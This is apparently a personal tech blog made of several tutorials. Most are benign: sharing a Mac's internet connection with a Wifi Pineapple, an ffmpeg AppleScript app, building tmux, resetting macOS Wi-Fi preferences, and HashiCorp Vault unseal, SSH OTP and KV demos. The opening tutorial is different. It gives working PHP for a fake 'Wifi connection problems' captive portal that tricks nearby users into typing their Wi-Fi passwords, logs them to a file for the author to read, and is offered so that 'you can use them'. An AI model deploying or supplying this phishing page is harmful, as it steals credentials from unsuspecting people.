Create landing pages for Wifi Pineapple

With the Wifi Pineapple from Hak5 you can create “Landing Pages” in few minutes. With some luck people insert their they credentials and you can use them. In this tutorial I will explain how easy this can be done without any extra modules installed (like Evil Portal and so on).

Objectives

Only with standard features we setup a captive portal (for the http protocol) in which we can try to collect credentials.

Precondition

To use the “Landing Page” feature of your Wifi Pineapple, you need a working internet connection on the device. In this tutorial you can learn how to do this for macOS.

Prepare and test locally

Before you write the code directly on the device, I recommend to code and and test it locally. This section will explain how.

# create project
$ mkdir -p ~/Projects/LandingPage

# change directory
$ cd ~/Projects/LandingPage

# create PHP file
$ vim index.php

# test with PHP built-in Web Server
$ php -S localhost:8000
<?php
// Landing page configuration
$SSID = 'ExampleSSID';

// Landing page content
if (isset($_POST['wifi_password']) && !empty(trim($_POST['wifi_password']))) {
  $data = $SSID . ':' . htmlspecialchars(trim($_POST['wifi_password'])) . "\n";
  file_put_contents('/tmp/wifi-passwords.txt', $data, FILE_APPEND | LOCK_EX);
  header("Location: https://google.com");
} else {
  echo '<!DOCTYPE HTML><html lang="en-US"><head>';
  echo '<title>' . $SSID . ' Connection Failure</title>';
  echo '<meta charset="utf-8">';
  echo '<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">';
  echo '<meta name="generator" content="' . $SSID . '">';
  echo '<style>';
  echo 'html, body {';
  echo '  font-family: Helvetica, sans-serif;';
  echo '  background: #f3f2f2;';
  echo '}';
  echo 'h1 {';
  echo ' padding-bottom: 20px;';
  echo ' border-bottom: 1px solid #eee;';
  echo ' font-size: 25px;';
  echo ' color: #4288CC;';
  echo '}';
  echo 'p {';
  echo ' margin-bottom: 20px;';
  echo ' padding-bottom: 20px;';
  echo ' font-size: 15px;';
  echo ' color: #777;';
  echo ' border-bottom: 1px solid #eee;';
  echo '}';
  echo 'input {';
  echo ' padding: 5px;';
  echo '}';
  echo '.center {';
  echo '  margin: 150px auto auto auto;';
  echo '  padding: 20px;';
  echo '  width: 450px;';
  echo '  text-align: center;';
  echo '  border: 1px solid #ccc;';
  echo '  border-radius: 5px;';
  echo '  background: #fff;';
  echo '  box-shadow: 4px 4px 5px 0px rgba(50, 50, 50, 0.75);';
  echo '}';
  echo '</style></head>';
  echo '<div class="center">';
  echo '<h1>Wifi connection problems</h1>';
  echo '<p>Please enter your password for "' . $SSID . '" <br> and press "Reconnect" to solve this issue.</p>';
  echo '<form method="POST" action="' . htmlspecialchars($_SERVER["PHP_SELF"]) . '">';
  echo '<input type="password" name="wifi_password" size="35" maxlength="65"> ';
  echo '<input type="submit" name="submit" value="Reconnect">';
  echo '</form></div></html>';
}

Open your Browser and use the URL http://localhost:8000. You can go back to your favorite editor and work on it. After you’re done press Ctrl-C to quit the build-in server.

Create Landing Page on Wifi Pineapple

Connect in your Browser to the Wifi Pineapple device, login and copy/paste the php code into “Landing Page” textarea. Save and enable the feature.

Wifi Pineapple Landing Page configuration.

Here a picture from my iPad after joining the wifi network.

Fake captive portal from Pineapple

If you read the PHP code, you will see that all informations are stored into file wifi-passwords.txt.

# SSH into pineapple
$ ssh root@<wifi pineapple ip>

# read gathered informations
$ cat /tmp/wifi-passwords.txt

# or tail
$ tail -f /tmp/wifi-passwords.txt

Note: You can extend the code to gather the username and password (incl. checkbox for acceptable use policy) where users of public-access network are obliged to view and interact with before access is granted (like hotels, airports, etc.).

Share internet from macOS to Wifi Pineapple

I have been using the Wifi Pineapple Nano by Hak5 for a long time. What can I say – very, very cool tiny device. Since I am also a macOS user, I would like to show in this tutorial how I share my internet (Wifi to USB). There are various options but with this I have currently achieved the best results.

Important: You should carry out all firmware upgrades beforehand, since the settings (which I will show you soon) will be overwritten again.

Objectives

I would like to connect my Macbook to the Internet via WiFi and then make it available to the Wifi Pineapple via USB. So here both devices should be able to use the Internet without network conflicts.

Change Wifi Pineapple network

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple device via SSH
$ ssh root@172.16.42.1

# backup network file
$ cp /etc/config/network /etc/config/network.bak

# show all settings (optional)
$ uci show

# show network settings (optional)
$ uci show network

# change ip with UCI configuration tool
$ uci set network.lan.ipaddr='192.168.2.10'

# change gateway with UCI configuration tool
$ uci set network.lan.gateway='192.168.2.1'

# save changes
$ uci commit

# reboot device
$ reboot

The first steps of the configuration have been carried out. However, you still cannot connect to the device or share the internet!

Modify macOS network configuration

Now you have to configure the macos network dhcp with manual address (network.lan.gateway 192.168.2.1). To do this, open the network settings and select the Wifi Pineapple (AX88x72A). Select “DHCP with manual address” in the dropdown and assign the IP (next to Configure IPv4).

Configure device as DHCP with manual address.

You should also change the arrangement of your available network connections (devices). Click the gear icon and select “Set Service Order”. At the top should be the standard wifi followed by Wifi Pineapple.

set service order

After a short time, the settings should have been accepted.

Wifi to USB internet sharing

Now we are making the internet available from Wifi to Wifi Pineapple (USB). Launch Internet Sharing under System Preferences. On “Share your connection from” select the Wifi and on “To computers using” select the Wifi Pineapple.

share internet from Wifi to USB

Done … let’s verify all configurations.

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple via SSH
$ ssh root@192.168.2.10

# run simple ping (optional)
$ ping -c 1 google.com

# exit SSH connection to Pineapple
$ exit

# open browser
$ open http://192.168.2.10:1471

Note: The Browser URL is now http://192.168.2.10:1471 (network.lan.ipaddr 192.168.2.10)!

After login you can go to the Dashboard and check “Bulletins” which should show the latest news from wifipineapple.com.

M3U8 download app for MacOS

Usually I work via Terminal but sometimes I don’t remember all parameters of a binary and search for such takes time. Same issue I had for ffmpeg downloads of M3U8 files. So I created a small apple script (for some dialogs) and saved this as very simple application. I use it regulary now and after all I thought to share here.

Preparation

A little preparation is needed, if you have ffmpeg binary allready installed you can skip to next section. So download the ffmpeg binary as an archive from https://www.ffmpeg.org/, unzip and follow next commands. In my example the binary was unzipped into folder “Downloads”.

# move ffmpeg binary
$ mv ~/Downloads/ffmpeg /usr/local/bin/ffmpeg

# set permissions
$ chmod +x /usr/local/bin/ffmpeg

# check version (optional)
$ ffmpeg -version

Apple Script

Open the Scripteditor and copy/paste the following script there.

#!/usr/bin/osascript

global theURL
global theOutputFolder
global theOutputFileName

on SetURL()
  set theTitle to "Video URL"

  try
    set theURLDialog to display dialog "What's the file URL?" default answer "" with title theTitle buttons {"Continue"}
    set theURL to text returned of theURLDialog
  on error
    quit
  end try

  if theURL as string is equal to "" then
    quit
  end if
end SetURL

on SetOutputFolder()
  try
    set theOutputFolder to choose folder with prompt "In what folder you will save the file?"
  on error
    quit
  end try
end SetOutputFolder

on SetOutputFileName()
  set theTitle to "File Name"

  try
    set theOutputFileNameDialog to display dialog "What's your target file name?" default answer "" with title theTitle buttons {"Continue"}
    set theOutputFileName to text returned of theOutputFileNameDialog
  on error
    quit
  end try

  if theOutputFileName as string is equal to "" then
    quit
  end if
end SetOutputFileName

on RunTerminal()
  set theTargetPath to POSIX path of theOutputFolder & theOutputFileName
  set theCommand to "ffmpeg -i " & theURL & " -c copy -bsf:a aac_adtstoasc " & theTargetPath

  tell application "Terminal"
    activate
    do script with command theCommand in window 1
  end tell
end RunTerminal

on quit
  display dialog "Thanks for trying this!" buttons {"Continue"}
  continue quit
end quit

on run
  SetURL()
  SetOutputFolder()
  SetOutputFileName()

  RunTerminal()
end run

Export

Now you can “save” or “export” the script as “app”.

Save/Export applescript as application
Save/Export AppleScript as app

If you don’t like the icon, you can change it. Download from the source of you choose an “.icns” file. Select the app and hit “Command + i” keys. Now drag the icon over the original icon and close info window. Ready … move it into Applications folder and use it.

Install tmux on macOS without Homebrew

Many people (including me) don’t want to use Homebrew. But if you search online for “How to install tmux on macOS” you will found mostly Homebrew descriptions. So here now the very easy solution without.

Requirements

In case that Command Line Tools are not installed, execute following command and follow the installation steps in new popup window. This process can take some time, so be patient.

# install Command Line Tools
$ xcode-select --install

# verify installation (optional)
$ ls /Library/Developer/CommandLineTools/usr/bin/

Installation

To execute next steps you need to download and unzip two release tarballs. Here you will found latest version of libevent and tmux (ncurses is already installed on macOS).

# change into unzipped libevent directory
$ cd Downloads/libevent-2.1.11-stable/

# check dependencies
$ ./configure

# build package
$ make

# install package
$ sudo make install

# change into unzipped tmux directory
$ cd Downloads/tmux-3.0a/

# check dependencies
$ ./configure

# build package
$ make

# install package
$ sudo make install

# show tmux version (optional)
$ tmux -V

That’s it already. If you’re new to tmux you should have a look on this Cheat Sheet.

Fix macOS wireless issues (hard way)

Sometimes I run into issues with my macOS wireless. Yes I know that most problems come by myself by wrong configurations. But here now a very handy short way which helped me already many times. Attention! You will need it to rejoin the network.

# change directory
$ cd /Library/Preferences/SystemConfiguration/

# list files (optional)
$ ls -la

# delete specific files
$ rm com.apple.airport.preferences.plist com.apple.network.identification.plist NetworkInterfaces.plist preferences.plist

Finally reboot the system and join your network. This forces the macOS to create all preference files again.

Unseal Vault with PGP

In this tutorial I will show an example for unsealing Vault using GPG. We generate for two users the keys and each user will use them to unseal. For the storage we use Consul.

Conditions

Host Preparation

First we need to setup, configure and start Consul and Vault.

Note: Because of the security settings of my provider, spaces are after “etc”. Please delete it after copy/paste.

# create new project
$ mkdir -p ~/Projects/VaultConsulPGP/consul-data && cd ~/Projects/VaultConsulPGP

# create private/public keys
$ openssl req -newkey rsa:4096 -nodes -keyout private_key.pem -x509 -days 365 -out public_key.pem
...
Country Name (2 letter code) []:CH
State or Province Name (full name) []:Zuerich
Locality Name (eg, city) []:Winterthur
Organization Name (eg, company) []:Softwaretester
Organizational Unit Name (eg, section) []:QA
Common Name (eg, fully qualified host name) []:demo.env
Email Address []:demo@demo.env
...

# create HCL configuration
$ touch ~/Projects/VaultConsulPGP/vault.hcl

# add hosts entry
$ echo -e "127.0.0.1 demo.env\n" >> /etc /hosts

# start consul service
$ consul agent -server -bootstrap-expect 1 -data-dir $HOME/Projects/VaultConsulPGP/consul-data -ui

# start vault service
$ vault server -config $HOME/Projects/VaultConsulPGP/vault.hcl

Do not stop and/or close any terminal sessions!

ui = true

storage "consul" {
  address = "127.0.0.1:8500"
  path    = "vault"
}

listener "tcp" {
  address       = "demo.env:8200"
  tls_cert_file = "public_key.pem"
  tls_key_file  = "private_key.pem"
}

Your project folder now should look like this:

# show simple folder tree
$ find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'
.
|____private_key.pem
|____vault_tutorial.md
|____vault.hcl
|____consul-data
|____public_key.pem

Client Preparation

As I wrote – we need to simulate two users. Now to the Docker client’s…

# run client A
$ docker run -ti --name client_a --mount type=bind,source=$HOME/Projects/VaultConsulPGP,target=/tmp/target bitnami/minideb /bin/bash

# run client B
docker run -ti --name client_b --mount type=bind,source=$HOME/Projects/VaultConsulPGP,target=/tmp/target bitnami/minideb /bin/bash

Both client’s need similar configuration, so please execute the following steps on both containers.

# install needed packages
$ apt-get update && apt-get install -y curl unzip gnupg iputils-ping

# get host IP
$ HOST_IP=$(ping -c 1 host.docker.internal | grep "64 bytes from"|awk '{print $4}')

# add hosts entry
$ echo -e "${HOST_IP} demo.env\n" >> /etc /hosts

# download vault
$ curl -C - -k https://releases.hashicorp.com/vault/0.10.4/vault_0.10.4_linux_amd64.zip -o /tmp/vault.zip

# extract archive and move binary and clean up
$ unzip -d /tmp /tmp/vault.zip && mv /tmp/vault /usr/local/bin/ && rm /tmp/vault.zip

# generate GPG key (1x for each client)
$ gpg --gen-key
...
Real name: usera
...
Real name: userb
...
# don't set a passphrase!!!!

# export generated key (client 1)
$ gpg --export [UID] | base64 > /tmp/target/usera.asc

# export generated key (client 2)
$ gpg --export [UID] | base64 > /tmp/target/userb.asc

Your project folder now should look like this:

# show simple folder tree
$ find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'
.
|____private_key.pem
|____vault_tutorial.md
|____vault.hcl
|____consul-data
     |____ ...
     |____ ...
|____public_key.pem
|____usera.asc
|____userb.asc

Initialize and Unseal Vault

On the host we initialize the Vault and share unseal key’s back to the client’s.

# set environment variables
$ export VAULT_ADDR=https://demo.env:8200
$ export VAULT_CACERT=public_key.pem

# ensure proper location (host)
cd ~/Projects/VaultConsulPGP

# initialize vault
$ vault operator init -key-shares=2 -key-threshold=2 -pgp-keys="usera.asc,userb.asc"

Note: Save now all keys and share the correspondending <unseal keys> to the client’s!

Now our client’s can start the unseal of Vault. Even here, please execute the following steps on both containers.

# set environment variables
$ export VAULT_ADDR=https://demo.env:8200
$ export VAULT_CACERT=/tmp/target/public_key.pem

# decode unseal key
$ echo "<unseal key>" | base64 -d | gpg -dq

# unseal vault
$ vault operator unseal <...>

Just for information

We configured both services (Consul and Vault) with WebUI.

# open Consul in Firefox
$ open -a Firefox http://127.0.0.1:8500

# open Vault in Firefox
$ open -a Firefox https://demo.env:8200/ui

Use the “Initial Root Token” to login into Vault’s WebUI.

Hashicorp Vault SSH OTP

With Vault’s SSH secret engine you can provide an secure authentication and authorization for SSH. With the One-Time SSH Password (OTP) you don’t need to manage keys anymore. The client requests the credentials from the Vault service and (if authorized) can connect to target service(s). Vault will take care that the OTP can be used only once and the access is logged. This tutorial will provide needed steps on a simple Docker infrastructure. Attention, in that tutorial Vault and Vault-SSH-Helper are running in Development Mode – don’t do that in production!

Conditions

Vault server

Let’s start and prepare the vault service.

# run vault-service container (local)
$ docker run -ti --name vault-service bitnami/minideb /bin/bash

# install packages
$ apt-get update && apt-get install -y ntp curl unzip ssh sshpass

# download vault
$ curl -C - -k https://releases.hashicorp.com/vault/0.10.4/vault_0.10.4_linux_amd64.zip -o /tmp/vault.zip

# unzip and delete archive
$ unzip -d /tmp/ /tmp/vault.zip && rm /tmp/vault.zip

# move binary
$ mv /tmp/vault /usr/local/bin/

# start vault (development mode)
$ vault server -dev -dev-listen-address='0.0.0.0:8200'

Don’t stop or close terminal session! Open new terminal. Note: The IP’s I use in this tutorial may be different to yours.

# get IP of container (local)
$ docker inspect -f '{{ .NetworkSettings.IPAddress }}' vault-service
...
172.17.0.2
...

# run commands on container (local)
$ docker exec -ti vault-service /bin/bash

# set environment variable
$ export VAULT_ADDR='http://0.0.0.0:8200'

# enable ssh secret engine
$ vault secrets enable ssh

# create new vault role
$ vault write ssh/roles/otp_key_role key_type=otp default_user=root cidr_list=0.0.0.0/0

Target server

Now we create and configure the target service.

Note: Because of the security settings of my provider, spaces are after “etc”. Please delete it after copy/paste.

# run target-service container (local)
$ docker run -ti --name target-service bitnami/minideb /bin/bash

# install packages
$ apt-get update && apt-get install -y ntp curl unzip ssh vim

# download vault-ssh-helper
$ curl -C - -k https://releases.hashicorp.com/vault-ssh-helper/0.1.4/vault-ssh-helper_0.1.4_linux_amd64.zip -o /tmp/vault-ssh-helper.zip

# unzip and delete archive
$ unzip -d /tmp/ /tmp/vault-ssh-helper.zip && rm /tmp/vault-ssh-helper.zip

# move binary
$ mv /tmp/vault-ssh-helper /usr/local/bin/

# create directory
$ mkdir /etc /vault-ssh-helper.d

# add content to file
$ cat > /etc /vault-ssh-helper.d/config.hcl << EOL
vault_addr = "http://172.17.0.2:8200"
ssh_mount_point = "ssh"
ca_cert = "/etc /vault-ssh-helper.d/vault.crt"
tls_skip_verify = false
allowed_roles = "*"
EOL

# verify config (optional)
$ vault-ssh-helper -dev -verify-only -config=/etc /vault-ssh-helper.d/config.hcl

Pam SSHD configuration (on target server)

# modify pam sshd configuration
$ vim /etc /pam.d/sshd
...
#@include common-auth
auth requisite pam_exec.so quiet expose_authtok log=/tmp/vaultssh.log /usr/local/bin/vault-ssh-helper -dev -config=/etc /vault-ssh-helper.d/config.hcl
auth optional pam_unix.so not_set_pass use_first_pass nodelay
...

SSHD configuration (on target server)

# modify sshd_config
$ vim /etc /ssh/sshd_config
...
ChallengeResponseAuthentication yes
UsePAM yes
PasswordAuthentication no
PermitRootLogin yes
...
# start SSHD
$ /etc /init.d/ssh start

# echo some content into file (optional)
$ echo 'Hello from target-service' > /tmp/target-service

Client server

Last container is for simulating a client.

# run some-client container (local)
$ docker run -ti --name some-client bitnami/minideb /bin/bash

# install packages
$ apt-get update && apt-get install -y ntp curl unzip ssh sshpass

# download vault
$ curl -C - -k https://releases.hashicorp.com/vault/0.10.4/vault_0.10.4_linux_amd64.zip -o /tmp/vault.zip

# unzip and delete archive
$ unzip -d /tmp/ /tmp/vault.zip && rm /tmp/vault.zip

# move binary
$ mv /tmp/vault /usr/local/bin/

# set environment variable
$ export VAULT_ADDR='http://172.17.0.2:8200'

# authenticate as root (root token)
$ vault auth <root token>

Usage

Most work is already done. Now we use the demo environment.

# get container IP of target-service (local)
$ docker inspect -f '{{ .NetworkSettings.IPAddress }}' target-service
...
172.17.0.3
...

# get container IP of some-client (local)
$ docker inspect -f '{{ .NetworkSettings.IPAddress }}' some-client
...
172.17.0.4
...
# create an OTP credential (vault-service)
$ vault write ssh/creds/otp_key_role ip=172.17.0.3
$ vault write ssh/creds/otp_key_role ip=172.17.0.4

Note: Because of the security settings of my provider, spaces are after “root”. Please delete it after copy/paste.

# connect via vault SSH (vault-service)
$ vault ssh -role otp_key_role -mode otp -strict-host-key-checking=no root @172.17.0.3

# connect via vault SSH (some-client)
$ vault ssh -role otp_key_role -mode otp -strict-host-key-checking=no root @172.17.0.3

# read content of file (via SSH connections)
$ cat /tmp/target-service

# tail logfile (target-service)
$ tail -f /tmp/vaultssh.log

Start with Vault 0.10.x

HashiCorp released Vault version 0.10.x on April 2018. The 0.10.x release delivers many new features and changes (eq. K/V Secrets Engine v2, Vault Web UI, etc.). Please have a look on vault/CHANGELOG for more informations. This tiny tutorial will concentrate now on usage of Vault’s Key-Value Secrets Engine via CLI.

Preparation

# download version 0.10.3
$ curl -C - -k https://releases.hashicorp.com/vault/0.10.3/vault_0.10.3_darwin_amd64.zip -o ~/Downloads/vault.zip

# unzip and delete archive
$ unzip ~/Downloads/vault.zip -d ~/Downloads/ && rm ~/Downloads/vault.zip

# change access permissions and move binary to target
$ chmod u+x ~/Downloads/vault && sudo mv ~/Downloads/vault /usr/local/

Start Vault server in development mode

# start in simple development mode
$ vault server -dev

Do not stop the process and open new tab on terminal [COMMAND] + [t].

# set environment variable
$ export VAULT_ADDR='http://127.0.0.1:8200'

# check vault status
$ vault status

Create, Read, Update and Delete secrets

# create secret (version: 1)
$ vault kv put secret/demosecret name=demo value=secret

# list secrets (optional)
$ vault kv list secret

# read secret
$ vault kv get secret/demosecret

# read secret (JSON)
$ vault kv get --format json secret/demosecret

# update secret (version: 2)
$ vault kv put secret/demosecret name=Demo value=secret foo=bar

# read secret (latest version)
$ vault kv get secret/demosecret

# read secret (specific version)
$ vault kv get --version 1 secret/demosecret

# read secret (specific field)
$ vault kv get --field=name secret/demosecret

# delete secret (latest version)
$ vault kv delete secret/demosecret

# show metadata
$ vault kv metadata get secret/demosecret

As you can see, there are minor changes to previous versions of Vault.

Note: The API for the Vault KV secrets engine even changed.

# read (version 1)
$ curl -H "X-Vault-Token: ..." https://127.0.0.1:8200/v1/secret/demosecret

# read (version 2)
$ curl -H "X-Vault-Token: ..." https://127.0.0.1:8200/v1/secret/data/demosecret

Okay, back to CLI and some examples which are better for automation. We will use the STDIN and a simple JSON file.

# create secret (version: 1)
$ echo -n "my secret" | vault kv put secret/demosecret2 name=-

# list secrets (optional)
$ vault kv list secret

# update secret (version: 2)
$ echo -n '{"name": "other secret"}' | vault kv put secret/demosecret2 -

# create JSON file
$ echo -n '{"name": "last secret"}' > ~/Desktop/demo.json

# update secret (version: 3)
$ vault kv put secret/demosecret2 @$HOME/Desktop/demo.json

# read secrets (different versions)
$ vault kv get --version 1 secret/demosecret2
$ vault kv get --version 2 secret/demosecret2
$ vault kv get --version 3 secret/demosecret2

# delete version permanent
$ vault kv destroy --versions 3 secret/demosecret2

# show metadata
$ vault kv metadata get secret/demosecret2

Web UI

Previously the Web UI was for Enterprise only, now it has been made open source.

# open URL in browser
$ open http://localhost:8200/

Now you can use the root token to sign in.